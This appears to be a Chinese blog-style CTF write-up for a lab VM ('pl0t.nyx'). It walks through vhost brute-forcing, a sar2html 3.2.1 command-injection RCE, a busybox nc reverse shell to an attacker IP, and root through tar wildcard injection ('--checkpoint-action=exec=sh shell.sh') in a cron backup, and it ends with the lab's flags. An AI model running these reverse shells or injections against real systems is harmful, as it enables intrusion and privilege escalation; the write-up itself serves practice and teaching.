信息收集
arp-scan
nmap
获取userFlag
nmap扫后发现只有22和80端口,上去80之后发现就是一个apache的默认页面,之后扫描目录也没有收获,至此,我们可以抓个包看看
在response header中可以看到一个域名,那么目标应该是配置了基于域名的虚拟主机,把它写入到win的hosts文件中,然后再访问看一下
发现还是默认页面,那么这里应该是需要进行子域名爆破了,我这里用的是gobuster实现的,因为之前用wfuzz的时候每次字典跑到了4000-5000之间的时候就会因为IPV6解析错误而退出,目前还没有找到解决办法。gobuster进行子域名爆破的命令如下:- gobuster vhost -u pl0t.nyx -w domain-dict.txt --append-domain
复制代码
得到结果后就不用跑了,把新得到的域名配置到hosts,然后再访问
出现新页面了,左上角有一个sar2html Ver 3.2.1,去www.exploit-db.com搜一下:
有一个sar2html Ver 3.2.1 的RCE,点进去后就可以看到利用脚本了,通过利用脚本我们可以发现,它的漏洞点在index.php的plot参数中,具体如下:
然后通过/index.php?;cmd就可以输入系统命令并执行了,因为这里的页面是没有回显的,所以我们可以先通过sleep 3来看看页面有没有睡3秒,从而来判断命令是否可以执行
从这里可以看到页面暂停了,所以命令是可以执行的,那么直接通过busybox来反弹shell- busybox nc 192.168.43.180 8888 -e /bin/bash
复制代码
cd到home里看一下
有一个tony的用户,那么下一步就是拿到这个用户的shell,sudo -l看一下
直接去GTFobins上找提权方案
执行后拿到tony shell
然后到它的家目录下就可以拿到userflag了
userflag:14751e2f45679b48adc9ad305437223d
获取rootFlag
在kali上通过python3起一个http服务,目的是从靶机把kali上的pspy64 wget过来
然后执行看一下结果,过了一会后(如果定时任务是每分钟执行的话,那么它会在每分钟的整点触发)会发现root在定时跑以下命令:
tar -zcf是一个打包命令,也就是说root会每分钟将/var/www/html中的所有内容打包到/var/backups/serve.tgz文件里。这里它用了*来匹配,这里就存在注入了,因为*会匹配所有的字符,因此如果我们创建一些”特殊“的文件名的话,就可以让它们被tar解析为选项,从而执行一些恶意的操作。关于这块我们可以做个实验:
在我的tmp目录下有这些文件,以下是我直接 ls * 的结果:
可以看到显示出了tmp目录下的所有文件,但都不是以”详细信息“的模式显示的,现在我们在tmp目录下创建一个 -l 文件:
touch -- -l 中的 -- 表示的是选项终止符,即 -- 后的所有内容都不会被命令解析为选项,即使它们以-开头。这里如果不加--的话会创建失败,因为touch会将-l视为一个选项
这时我们再 ls * 看看
可以看到输出了文件的详细信息,说明ls将-l文件当作选项进行解析了。因此利用这一特点就有了以下提权方案:
在/var/www/html下分别创建 --checkpoint=1、--checkpoint-action=exec=sh shell.sh 文件
然后将反弹shell的命令写入shell.sh- echo 'busybox nc 192.168.43.180 4444 -e /bin/bash' > shell.sh
复制代码 然后在kali上监听4444端口,等待定时任务执行
这样就拿到root shell了,去/root下就可以拿到rootflag了
rootflag:f4ad483086126d8d33aef2c0f8657b12
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |